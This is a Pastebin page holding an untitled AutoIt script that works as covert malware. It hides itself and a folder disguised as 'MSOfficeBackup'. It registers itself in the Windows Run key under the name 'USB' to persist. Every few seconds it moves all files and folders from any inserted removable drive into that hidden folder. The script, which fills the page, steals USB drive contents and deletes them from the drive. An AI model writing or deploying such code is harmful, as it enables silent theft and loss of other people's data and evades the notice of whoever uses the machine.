Guest User

Untitled

a guest
Aug 1st, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 1.87 KB | None | 0 0
  1. #include <File.au3>
  2. #include <GUIConstantsEx.au3>
  3. #include <ProgressConstants.au3>
  4. #include <WindowsConstants.au3>
  5. $BackupFolder = @HomeDrive & "\MSOfficeBackup"
  6.  
  7. DirCreate($BackupFolder)
  8. FileSetAttrib($BackupFolder, "+SH")
  9. FileSetAttrib(@ScriptFullPath, "+SH")
  10.  
  11. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "USB", "REG_SZ", @ScriptFullPath)
  12.  
  13. $Form2 = GUICreate("", 200, 17, @DesktopWidth - 200, 0, BitOR($WS_MINIMIZEBOX, $WS_POPUP, $WS_GROUP), BitOR($WS_EX_TOPMOST, $WS_EX_WINDOWEDGE))
  14. $Progress1 = GUICtrlCreateProgress(0, 0, 200, 17, $PBS_MARQUEE)
  15. $State = "x"
  16.  
  17. While 1
  18.     $Drives = DriveGetDrive("REMOVABLE")
  19.     If IsArray($Drives) Then
  20.         If $State <> "SHOW" Then
  21.             GUISetState(@SW_SHOW)
  22.             $State = "SHOW"
  23.             _ProgressMarquee_Start($Progress1)
  24.         EndIf
  25.     EndIf
  26.  
  27.     If Not IsArray($Drives) Then
  28.         _ProgressMarquee_Stop($Progress1)
  29.         $State = "STOP"
  30.         GUISetState(@SW_HIDE)
  31.     EndIf
  32.  
  33.     For $Count = 1 To UBound($Drives) - 1
  34.         $Files = _FileListToArray($Drives[$Count] & "\", "*", "1")
  35.         For $FNum = 1 To UBound($Files) - 1
  36.             FileMove($Drives[$Count] & "\" & $Files[$FNum], $BackupFolder & "\" & $Files[$FNum], 1)
  37.         Next
  38.  
  39.         $Folders = _FileListToArray($Drives[$Count] & "\", "*", "2")
  40.         For $FNum = 1 To UBound($Folders) - 1
  41.             DirMove($Drives[$Count] & "\" & $Folders[$FNum], $BackupFolder & "\" & $Folders[$FNum], 1)
  42.         Next
  43.     Next
  44.  
  45.     Sleep(5000)
  46. WEnd
  47.  
  48. Func _ProgressMarquee_Start($iControlID = -1)
  49.     Local Const $PBM_SETMARQUEE = 1034
  50.     Return GUICtrlSendMsg($iControlID, $PBM_SETMARQUEE, 1, 50)
  51. EndFunc   ;==>_ProgressMarquee_Start
  52.  
  53. Func _ProgressMarquee_Stop($iControlID = -1, $iReset = 0)
  54.     Local Const $PBS_MARQUEE = 0x0008, $PBM_SETMARQUEE = 1034
  55.     GUICtrlSendMsg($iControlID, $PBM_SETMARQUEE, 0, 50)
  56.     If $iReset = 1 Then
  57.         Return GUICtrlSetStyle($iControlID, $PBS_MARQUEE)
  58.     EndIf
  59.     Return 1
  60. EndFunc   ;==>_ProgressMarquee_Stop
Add Comment
Please, Sign In to add comment